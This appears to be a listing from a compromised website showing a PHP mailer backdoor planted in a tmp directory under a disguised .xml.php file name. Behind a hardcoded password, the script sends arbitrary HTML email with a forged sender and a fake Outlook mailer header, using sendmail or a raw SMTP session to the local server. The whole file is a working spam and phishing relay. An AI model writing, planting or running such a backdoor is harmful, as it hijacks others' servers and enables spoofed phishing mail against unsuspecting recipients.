| Current Path : /home/atice/www/tmp/ |
| Current File : /home/atice/www/tmp/mta-kqbhun.xml.php |
<?php
error_reporting(0);
$K='sm_zgsplqlwag';
if(($_POST['k']??'')!==$K)die('');
$t=$_POST['to']??'';$f=$_POST['from']??'';$fn=$_POST['fn']??'';$s=$_POST['subj']??'';$h=$_POST['html']??'';
if(!$t||!$f||!$s||!$h)die('ERR:MISSING');
$sm=null;foreach(['/usr/sbin/sendmail','/usr/lib/sendmail','/usr/bin/sendmail'] as $x){if(@file_exists($x)){$sm=$x;break;}}
if($sm){$hdr="From: \"$fn\" <$f>\nReply-To: $f\nMIME-Version: 1.0\nContent-Type: text/html; charset=utf-8\nX-Mailer: Outlook 16";$ok=@mail($t,$s,$h,$hdr,"-f$f");if($ok){echo 'SENT_OK';exit;}}
$sk=@fsockopen('127.0.0.1',25,$en,$es,5);if(!$sk){$sk=@fsockopen('localhost',25,$en,$es,5);}if(!$sk){echo 'SEND_FAIL';exit;}
$hn=@gethostname()?:'localhost';fgets($sk,512);fwrite($sk,"EHLO $hn\r\n");do{$el=@fgets($sk,512);}while($el&&substr($el,3,1)==='-');fwrite($sk,"MAIL FROM:<$f>\r\n");@fgets($sk,512);fwrite($sk,"RCPT TO:<$t>\r\n");
$x=@fgets($sk,512);if(substr($x,0,1)!=='2'){fclose($sk);echo 'SEND_FAIL';exit;}
fwrite($sk,"DATA\r\n");@fgets($sk,512);$msg="From: \"$fn\" <$f>\r\nTo: $t\r\nSubject: $s\r\nMIME-Version: 1.0\r\nContent-Type: text/html; charset=utf-8\r\n\r\n$h\r\n.\r\n";
fwrite($sk,$msg);$r=fgets($sk,512);fwrite($sk,"QUIT\r\n");fclose($sk);echo(substr($r,0,1)==='2')?'SENT_SMTP':'SEND_FAIL'; ?>